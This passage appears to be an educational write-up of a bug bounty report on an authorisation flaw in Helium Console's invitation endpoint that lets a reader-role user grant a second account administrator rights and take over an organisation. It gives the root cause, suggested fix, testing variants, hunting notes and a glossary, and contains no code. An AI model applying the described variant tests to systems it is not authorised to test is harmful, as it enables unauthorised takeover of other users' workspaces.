With the fake account holding admin rights on target, the Attacker can change the original Attacker account's role to Administrator and delete the original owner. The fake account is a second identity controlled by the same person, so it acts as a foothold inside the victim's workspace.
The attached video, Organization_Takeover_via_Invitations.mp4, walks through the attack.
Root cause
The /api/invitations endpoint trusted the organization value supplied in the request body and created the invitation without checking that the authenticated caller was an Administrator of that organisation. The endpoint created the invitation without checking that the caller was an Administrator of the organisation named in the body. The GraphQL organisation listing returned the target UUID to the Attacker, who was a reader of target.
Impact
Any user can gain Administrator privileges on organisations they are part of, and thereby take full control of them. In the reported scenario the Attacker was already a reader of target, which was enough to learn its UUID and to escalate to Administrator, after which the original owner could be removed.
Fix
The researcher's suggested mitigation is to verify that the requesting user is an Administrator of the organisation named in the request. The report does not describe a fix that was applied by the vendor.
Variants to test
- Swap the organisation identifier in other membership endpoints (role changes, removals, invitation acceptance) and check whether the server enforces the caller's role in the organisation named in the body. A positive result is a 2xx response that changes state in an organisation where the caller is only a reader. A 2xx response is any success status code, such as 200 or 201.
- Create an invitation with an elevated role (admin) for an organisation where the caller is a reader, as in this report. A positive result is a created membership with the elevated role.
- Enumerate organisation UUIDs through GraphQL or REST listings and try each against the invitation endpoint. Enumerate means to collect identifiers one by one. A positive result is any organisation that accepts an invitation from an account that is not its Administrator.
- Test whether the organisation identifier can be supplied in a header, path segment or query parameter instead of the body, and whether any of those variants bypass the check. A header is a labelled line in the request, a path segment is part of the URL, and a query parameter is the part after a
?in a URL. A positive result is the same state change through an alternative location.
Hunting notes
This bug lives in multi-tenant features where the tenant identifier is sent by the client: invitation and membership management, role assignment, user listing and any admin action scoped to an organisation. Multi-tenant means one application serves many separate customers, and the tenant identifier says which customer's data a request concerns. During recon, look for JSON bodies that carry an organisation, team or workspace UUID alongside a role, and for GraphQL queries that return those UUIDs to low-privileged members. Recon is the early phase of exploring an application to see how it is built. The signal is a request whose only tenant scoping is a client-supplied identifier.
The researcher started from a reader account, showed the UUID leak and the request that created an admin membership in another organisation, and described the resulting takeover path. That chain, from a low-privileged starting point to full control of an organisation, is what made the report actionable.
Glossary
- API: a way for one piece of software to talk to another, usually by sending structured requests and receiving structured answers.
- Administrator: a user role with full control over an organisation, including inviting people and changing roles.
- Authentication: proving who you are, for example by sending a token or cookie with a request.
- Authorisation: deciding what an authenticated user is allowed to do.
- Bearer token: a credential string sent with a request; whoever holds it is treated as its owner.
- Bounty: a payment made by a company to a researcher who reports a valid security issue.
- Burp Suite: a tool that sits between browser and server, letting you view and edit requests before they are sent.
- Client-controlled: a value that comes from the browser and can therefore be changed by the user.
- Cloudflare: a service that sits in front of websites and adds headers and caching.
- Cookie: a small piece of data stored by the browser for a site and sent back on each request, often used to recognise a session.
- CVSS: a standard scoring system for the severity of a vulnerability.
- Endpoint: a specific address on a server that accepts requests, such as
/api/invitations. - Escalate privileges: to move from a lower permission level to a higher one.
- GraphQL: a query language for APIs where the client describes exactly which fields it wants back.
- Header: a labelled line in an HTTP request or response carrying metadata.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- IDOR (Insecure Direct Object Reference): a flaw where the server acts on an identifier supplied by the user without checking that the user is allowed to access that object.
- JSON: a text format for structured data, made of field names and values in curly brackets.
- Membership: the link between a user and an organisation, including the user's role in it.
- Multi-tenant: one application serving many separate customers, each with its own data.
- Organisation: a shared workspace on Helium Console that users belong to with different roles.
- Reader: a user role that can view an organisation's data but not change it.
- Recon: the early phase of exploring an application to understand how it is built.
- REST: a style of API built around fixed endpoints and standard HTTP methods.
- Role: the permission level a user has in an organisation, such as reader or admin.
- Session: the period during which a server recognises a logged-in user, usually via a cookie or token.
- Severity: how serious a vulnerability is judged to be, here medium.
- Status code: the number at the start of an HTTP response, such as 200 for success or 201 for created.
- UUID: a long random-looking identifier used to refer to an object, such as an organisation.
- Vulnerability: a weakness in software that can be used to do something the designer did not intend.